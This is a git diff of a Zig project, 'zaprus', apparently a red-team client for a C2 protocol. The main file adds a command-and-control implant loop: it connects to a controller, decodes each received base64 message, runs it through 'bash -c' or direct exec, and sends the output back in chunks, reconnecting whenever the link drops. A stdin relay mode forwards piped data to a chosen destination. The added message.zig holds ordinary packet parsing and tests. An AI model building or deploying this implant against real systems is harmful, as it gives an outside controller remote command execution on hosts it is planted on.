+ // Sometimes fillMore will return 0 bytes.
+ // Skip these
+ if (stdin.seek == stdin.end) continue;
+
+ chunk_writer.end = 0;
+ try chunk_writer.print("{b64}", .{stdin.buffered()});
+ try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
+ try init.io.sleep(.fromMilliseconds(40), .boot);
+ try stdin.discardAll(stdin.end);
+ } else |err| switch (err) {
+ error.EndOfStream => {
+ log.debug("end of stdin", .{});
+ },
+ else => |e| return e,
+ }
}
-
- // Collect the growable list as a slice and return it.
- return buf.toOwnedSlice();
- }
-
- inline fn fromBytesAux(
- packet: SaprusPacketType,
- Header: type,
- r: std.io.FixedBufferStream([]const u8).Reader,
- allocator: Allocator,
- ) !SaprusMessage {
- // Read the header for the current message type.
- const header = try r.readStructEndian(Header, .big);
- // Read the length of the base64 encoded payload.
- const len = try r.readInt(u16, .big);
-
- // Read the base64 bytes into a list to be able to call the decoder on it.
- var payload_buf = std.ArrayList(u8).init(allocator);
- defer payload_buf.deinit();
- try r.readAllArrayList(&payload_buf, len);
-
- // Create a buffer to store the payload in, and decode the base64 bytes into the payload field.
- const payload = try allocator.alloc(u8, try base64Dec.calcSizeForSlice(payload_buf.items));
- try base64Dec.decode(payload, payload_buf.items);
-
- // Return the type of SaprusMessage specified by the `packet` argument.
- return @unionInit(SaprusMessage, @tagName(packet), .{
- .header = header,
- .payload = payload,
- });
+ return;
}
- /// Caller is responsible for calling .deinit on the returned value.
- fn fromBytes(bytes: []const u8, allocator: Allocator) !SaprusMessage {
- var s = std.io.fixedBufferStream(bytes);
- const r = s.reader();
-
- switch (@as(SaprusPacketType, @enumFromInt(try r.readInt(u16, .big)))) {
- .relay => return fromBytesAux(.relay, Relay.Header, r, allocator),
- .connection => return fromBytesAux(.connection, Connection.Header, r, allocator),
- .file_transfer => return SaprusError.NotImplementedSaprusType,
- else => return SaprusError.UnknownSaprusType,
+ var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
+ var w: Writer = .fixed(&init_con_buf);
+ try w.print("{b64}", .{flags.connect.?});
+
+ if (flags.connect != null) {
+ reconnect: while (true) {
+ client = SaprusClient.init() catch |err| switch (err) {
+ error.NoInterfaceFound => {
+ try init.io.sleep(.fromMilliseconds(100), .boot);
+ continue :reconnect;
+ },
+ else => |e| return e,
+ };
+ defer client.deinit();
+ log.debug("Starting connection", .{});
+
+ try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
+ var connection = client.connect(init.io, w.buffered()) catch {
+ log.debug("Connection timed out", .{});
+ continue;
+ };
+
+ log.debug("Connection started", .{});
+
+ next_message: while (true) {
+ var res_buf: [2048]u8 = undefined;
+ try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
+ const next = connection.next(init.io, &res_buf) catch {
+ continue :reconnect;
+ };
+
+ const b64d = std.base64.standard.Decoder;
+ var connection_payload_buf: [2048]u8 = undefined;
+ const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
+ b64d.decode(connection_payload, next) catch {
+ log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
+ continue;
+ };
+
+ var child = std.process.spawn(init.io, .{
+ .argv = &.{ "bash", "-c", connection_payload },
+ .stdout = .pipe,
+ .stderr = .ignore,
+ .stdin = .ignore,
+ }) catch |err| switch (err) {
+ error.AccessDenied,
+ error.FileBusy,
+ error.FileNotFound,
+ error.FileSystem,
+ error.InvalidExe,
+ error.IsDir,
+ error.NotDir,
+ error.OutOfMemory,
+ error.PermissionDenied,
+ error.SymLinkLoop,
+ error.SystemResources,
+ => blk: {
+ log.debug("Trying to execute command directly: {s}", .{connection_payload});
+ var argv_buf: [128][]const u8 = undefined;
+ var argv: ArrayList([]const u8) = .initBuffer(&argv_buf);
+ var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n");
+ while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue;
+ break :blk std.process.spawn(init.io, .{
+ .argv = argv.items,
+ .stdout = .pipe,
+ .stderr = .ignore,
+ .stdin = .ignore,
+ }) catch continue;
+ },
+ error.Canceled,
+ error.NoDevice,
+ error.OperationUnsupported,
+ => |e| return e,
+ else => continue,
+ };
+
+ var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
+ var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
+
+ var is_killed: std.atomic.Value(bool) = .init(false);
+
+ var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
+ defer _ = kill_task.cancel(init.io) catch {};
+
+ var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
+ var cmd_output: Writer = .fixed(&cmd_output_buf);
+
+ // Maximum of 10 messages of output per command
+ for (0..10) |_| {
+ cmd_output.end = 0;
+
+ child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
+ error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
+ error.EndOfStream => {
+ cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
+ if (cmd_output.end > 0) {
+ connection.send(init.io, .{}, cmd_output.buffered()) catch |e| {
+ log.debug("Failed to send connection chunk: {t}", .{e});
+ continue :next_message;
+ };
+ }
+ break;
+ },
+ };
+ cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
+ connection.send(init.io, .{}, cmd_output.buffered()) catch |err| {
+ log.debug("Failed to send connection chunk: {t}", .{err});
+ continue :next_message;
+ };
+ try init.io.sleep(.fromMilliseconds(40), .boot);
+ } else {
+ kill_task.cancel(init.io) catch {};
+ killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
+ log.debug("Failed to kill process??? {t}", .{err});
+ continue :next_message;
+ };
+ }
+
+ if (!is_killed.load(.monotonic)) {
+ _ = child.wait(init.io) catch |err| {
+ log.debug("Failed to wait for child: {t}", .{err});
+ };
+ }
+ }
}
}
-};
-
-pub fn main() !void {
- var dba: ?DebugAllocator = if (comptime is_debug) DebugAllocator.init else null;
- defer if (dba) |*d| {
- _ = d.deinit();
- };
-
- var gpa = if (dba) |*d| d.allocator() else std.heap.smp_allocator;
-
- const msg = SaprusMessage{
- .relay = .{
- .header = .{ .dest = .{ 255, 255, 255, 255 } },
- .payload = "Hello darkness my old friend",
- },
- };
-
- const msg_bytes = try msg.toBytes(gpa);
- defer gpa.free(msg_bytes);
-
- try network.init();
- defer network.deinit();
-
- var sock = try network.Socket.create(.ipv4, .udp);
- defer sock.close();
- try sock.setBroadcast(true);
-
- // Bind to 0.0.0.0:0
- const bind_addr = network.EndPoint{
- .address = network.Address{ .ipv4 = network.Address.IPv4.any },
- .port = 0,
- };
+ unreachable;
+}
- const dest_addr = network.EndPoint{
- .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
- .port = 8888,
+fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void {
+ io.sleep(duration, .boot) catch |err| switch (err) {
+ error.Canceled => return,
+ else => |e| return e,
};
+ is_killed.store(true, .monotonic);
+ proc.kill(io);
+}
- try sock.bind(bind_addr);
+fn parseDest(in: ?[]const u8) [4]u8 {
+ if (in) |dest| {
+ if (dest.len <= 4) {
+ var res: [4]u8 = @splat(0);
+ @memcpy(res[0..dest.len], dest);
+ return res;
+ }
- _ = try sock.sendTo(dest_addr, msg_bytes);
+ const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
+ return addr.bytes;
+ }
+ return "disc".*;
}
const builtin = @import("builtin");
const std = @import("std");
-const Allocator = std.mem.Allocator;
-const DebugAllocator = std.heap.DebugAllocator(.{});
-
-const network = @import("network");
-
-test "Round trip Relay toBytes and fromBytes" {
- const gpa = std.testing.allocator;
- const msg = SaprusMessage{
- .relay = .{
- .header = .{ .dest = .{ 255, 255, 255, 255 } },
- .payload = "Hello darkness my old friend",
- },
- };
-
- const to_bytes = try msg.toBytes(gpa);
- defer gpa.free(to_bytes);
+const log = std.log;
+const ArrayList = std.ArrayList;
+const StaticStringMap = std.StaticStringMap;
- const from_bytes = try SaprusMessage.fromBytes(to_bytes, gpa);
- defer from_bytes.deinit(gpa);
+const zaprus = @import("zaprus");
+const SaprusClient = zaprus.Client;
+const SaprusMessage = zaprus.Message;
- try std.testing.expectEqualDeep(msg, from_bytes);
-}
-
-test "Round trip Connection toBytes and fromBytes" {
- const gpa = std.testing.allocator;
- const msg = SaprusMessage{
- .connection = .{
- .header = .{
- .src_port = 0,
- .dest_port = 0,
- },
- .payload = "Hello darkness my old friend",
- },
- };
-
- const to_bytes = try msg.toBytes(gpa);
- defer gpa.free(to_bytes);
-
- const from_bytes = try SaprusMessage.fromBytes(to_bytes, gpa);
- defer from_bytes.deinit(gpa);
-
- try std.testing.expectEqualDeep(msg, from_bytes);
-}
+const Writer = std.Io.Writer;
diff --git a/src/message.zig b/src/message.zig
new file mode 100644
index 0000000..4198737
--- /dev/null
+++ b/src/message.zig
@@ -0,0 +1,238 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+pub const Message = union(enum(u16)) {
+ relay: Message.Relay = 0x003C,
+ connection: Message.Connection = 0x00E9,
+ _,
+
+ pub const Relay = struct {
+ dest: Dest,
+ checksum: [2]u8 = undefined,
+ payload: []const u8,
+
+ pub const Dest = struct {
+ bytes: [relay_dest_len]u8,
+
+ /// Asserts bytes is less than or equal to 4 bytes
+ pub fn fromBytes(bytes: []const u8) Dest {
+ var buf: [4]u8 = @splat(0);
+ std.debug.assert(bytes.len <= buf.len);
+ @memcpy(buf[0..bytes.len], bytes);
+ return .{ .bytes = buf };
+ }
+ };
+
+ /// Asserts that buf is large enough to fit the relay message.
+ pub fn toBytes(self: Relay, buf: []u8) []u8 {
+ var out: Writer = .fixed(buf);
+ out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable;
+ out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
+ out.writeAll(&self.dest.bytes) catch unreachable;
+ out.writeAll(self.payload) catch unreachable;
+ return out.buffered();
+ }
+
+ // test toBytes {
+ // var buf: [1024]u8 = undefined;
+ // const relay: Relay = .init(
+ // .fromBytes(&.{ 172, 18, 1, 30 }),
+ // // zig fmt: off
+ // &[_]u8{
+ // 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+ // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+ // },
+ // // zig fmt: on
+ // );
+ // // zig fmt: off
+ // var expected = [_]u8{
+ // 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
+ // 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+ // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+ // };
+ // // zig fmt: on
+ // try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
+ // }
+ };
+
+ pub const Connection = struct {
+ src: u16,
+ dest: u16,
+ seq: u32,
+ id: u32,
+ reserved: u8 = undefined,
+ options: Options = .{},
+ payload: []const u8,
+
+ /// Option values.
+ /// Currently used!
+ pub const Options = packed struct(u8) {
+ opt1: bool = false,
+ opt2: bool = false,
+ opt3: bool = false,
+ opt4: bool = false,
+ opt5: bool = false,
+ opt6: bool = false,
+ opt7: bool = false,
+ management: bool = false,
+ };
+
+ /// Asserts that buf is large enough to fit the connection message.
+ pub fn toBytes(self: Connection, buf: []u8) []u8 {
+ var out: Writer = .fixed(buf);
+ out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
+ out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
+ out.writeInt(u16, self.src, .big) catch unreachable;
+ out.writeInt(u16, self.dest, .big) catch unreachable;
+ out.writeInt(u32, self.seq, .big) catch unreachable;
+ out.writeInt(u32, self.id, .big) catch unreachable;
+ out.writeByte(self.reserved) catch unreachable;
+ out.writeStruct(self.options, .big) catch unreachable;
+ out.writeAll(self.payload) catch unreachable;
+ return out.buffered();
+ }
+
+ /// If the current message is a management message, return what kind.
+ /// Else return null.
+ pub fn management(self: Connection) ParseError!?Management {
+ const b64_dec = std.base64.standard.Decoder;
+ if (self.options.management) {
+ var buf: [1]u8 = undefined;
+ _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage;
+
+ return switch (buf[0]) {
+ 'P' => .ping,
+ 'p' => .pong,
+ else => error.UnknownSaprusType,
+ };
+ }
+ return null;
+ }
+
+ pub const Management = enum {
+ ping,
+ pong,
+ };
+ };
+
+ pub fn toBytes(self: Message, buf: []u8) []u8 {
+ return switch (self) {
+ inline .relay, .connection => |m| m.toBytes(buf),
+ else => unreachable,
+ };
+ }
+
+ pub fn parse(bytes: []const u8) ParseError!Message {
+ var in: Reader = .fixed(bytes);
+ const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
+ error.InvalidEnumTag => return error.UnknownSaprusType,
+ else => return error.InvalidMessage,
+ };
+ const checksum = in.takeArray(2) catch return error.InvalidMessage;
+ switch (@"type") {
+ .relay => {
+ const dest: Relay.Dest = .fromBytes(
+ in.takeArray(relay_dest_len) catch return error.InvalidMessage,
+ );
+ const payload = in.buffered();
+ return .{
+ .relay = .{
+ .dest = dest,
+ .checksum = checksum.*,
+ .payload = payload,
+ },
+ };
+ },
+ .connection => {
+ const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
+ const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
+ const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
+ const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
+ const reserved = in.takeByte() catch return error.InvalidMessage;
+ const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
+ const payload = in.buffered();
+ return .{
+ .connection = .{
+ .src = src,
+ .dest = dest,
+ .seq = seq,
+ .id = id,
+ .reserved = reserved,
+ .options = options,
+ .payload = payload,
+ },
+ };
+ },
+ else => return error.NotImplementedSaprusType,
+ }
+ }
+
+ test parse {
+ _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
+
+ {
+ const expected: Message = .{
+ .connection = .{
+ .src = 12416,
+ .dest = 61680,
+ .seq = 0,
+ .id = 0,
+ .reserved = 0,
+ .options = @bitCast(@as(u8, 100)),
+ .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
+ },
+ };
+ const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
+
+ try std.testing.expectEqualDeep(expected, actual);
+ }
+ }
+
+ test "Round trip" {
+ {
+ const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
+ const msg = (try parse(&expected)).connection;
+ var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
+ const res = msg.toBytes(&res_buf);
+ try expectEqualMessageBuffers(&expected, res);
+ }
+ }
+
+ // Skip checking the length / checksum, because that is undefined.
+ fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
+ try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
+ try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
+ }
+
+ pub const TypeError = error{
+ NotImplementedSaprusType,
+ UnknownSaprusType,
+ };
+ pub const ParseError = TypeError || error{
+ InvalidMessage,
+ };
+};
+
+const relay_dest_len = 4;
+
+const std = @import("std");
+const Allocator = std.mem.Allocator;
+const Writer = std.Io.Writer;
+const Reader = std.Io.Reader;
+
+test {
+ std.testing.refAllDecls(@This());
+}
diff --git a/src/root.zig b/src/root.zig
new file mode 100644
index 0000000..2a847fc
--- /dev/null
+++ b/src/root.zig
@@ -0,0 +1,30 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus).
+//!
+//! The main entrypoint into this library is the `Client` type.
+//! It can be used to send fire and forget messages, and establish persistent connections.
+//! It is up to the consumer of this library to handle non-management message payloads.
+//! The library handles management messages automatically (right now, just ping).
+
+pub const Client = @import("Client.zig");
+pub const Connection = @import("Connection.zig");
+pub const Message = @import("message.zig").Message;
+
+test {
+ @import("std").testing.refAllDecls(@This());
+}